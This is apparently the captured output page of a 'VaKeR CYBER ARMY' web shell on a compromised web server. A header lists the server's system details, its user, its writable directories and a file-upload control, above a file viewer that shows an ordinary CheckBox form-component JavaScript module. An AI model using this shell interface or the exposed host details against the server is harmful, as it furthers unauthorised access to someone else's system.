VaKeR CYBER ARMY
Logo of a company Server : Apache/2.4.41 (Ubuntu)
System : Linux absol.cf 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Directory :  /var/www/html/libs/absol-full/dist/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/libs/absol-full/dist/js/mdls__absol-form__js__components__Checkbox.js
/*** module: node_modules/absol-form/js/components/Checkbox.js ***/
"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.default = void 0;

var _FCore = _interopRequireDefault(require("../core/FCore"));

require("../../css/component.css");

var _ContentScalelessComponent = _interopRequireDefault(require("../core/ContentScalelessComponent"));

var _inheritComponentClass = _interopRequireDefault(require("../core/inheritComponentClass"));

var _InputAttributeHandlers = _interopRequireDefault(require("./handlers/InputAttributeHandlers"));

var _Assembler = require("../core/Assembler");

var _InputStyleHandlers = _interopRequireDefault(require("./handlers/InputStyleHandlers"));


var _ = _FCore.default._;
var $ = _FCore.default.$;
/***
 * @extends ContentScalelessComponent
 * @constructor
 */

function CheckBox() {
  _ContentScalelessComponent.default.call(this);

  this._firedValue = undefined;
}

(0, _inheritComponentClass.default)(CheckBox, _ContentScalelessComponent.default);
CheckBox.prototype.tag = "CheckBox";
CheckBox.prototype.menuIcon = "span.mdi.mdi-checkbox-outline.mdi-check-box-outline";
CheckBox.prototype.style.display = 'inline-block';
CheckBox.prototype.style.vAlign = 'center';
CheckBox.prototype.style.width = 18;
CheckBox.prototype.style.height = 18;
CheckBox.prototype.style.vAlign = 'center';
CheckBox.prototype.attributes.checked = false;

CheckBox.prototype.onCreated = function () {
  _ContentScalelessComponent.default.prototype.onCreated.call(this);

  this.$content.on('change', function () {
    if (this._firedValue !== this.$content.checked) {
      this._firedValue = this.$content.checked;
      this.pinFire('checked');
    }

    this.notifyChange();
  }.bind(this));
};

CheckBox.prototype.renderContent = function () {
  this.$content = _('checkboxbutton');
};

CheckBox.prototype.measureMinSize = function () {
  return {
    width: 18,
    height: 18
  };
};

CheckBox.prototype.createDataBindingDescriptor = function () {
  var thisC = this;
  return {
    set: function (value) {
      return thisC.setAttribute('checked', !!value);
    },
    get: function () {
      return thisC.getAttribute('checked');
    }
  };
};

CheckBox.prototype.attributeHandlers.checked = {
  set: function (value) {
    var prev = this.$content.checked;
    this.$content.checked = !!value;

    if (this.$content.checked !== prev) {
      this.notifyChange();
    }

    if (this._firedValue !== this.$content.checked) {
      this._firedValue = this.$content.checked;
      this.pinFire('checked');
    }
  },
  get: function () {
    return this.$content.checked;
  },
  descriptor: {
    type: "bool",
    sign: "NotDependentBool"
  },
  export: function () {
    return this.$content.checked || undefined;
  }
};
Object.assign(CheckBox.prototype.attributeHandlers, _InputAttributeHandlers.default);
Object.assign(CheckBox.prototype.styleHandlers, _InputStyleHandlers.default);
CheckBox.prototype.attributeHandlers.disabled = {
  set: function (value) {
    this.$content.disabled = value;
  },
  get: function () {
    return this.$content.disabled;
  },
  descriptor: {
    type: "bool"
  },
  export: function () {
    return this.$content.disabled || undefined;
  }
};
CheckBox.prototype.pinHandlers.checked = {
  receives: function (value) {
    this.attributes.checked = !!value;
  },
  get: function () {
    return this.$content.checked;
  },
  descriptor: {
    type: "bool"
  }
};
CheckBox.prototype.pinHandlers.disabled = {
  receives: function (value) {
    this.attributes.disabled = !!value;
  },
  descriptor: {
    type: "bool"
  }
};

_Assembler.AssemblerInstance.addClass(CheckBox);

var _default = CheckBox;
exports.default = _default;

VaKeR 2022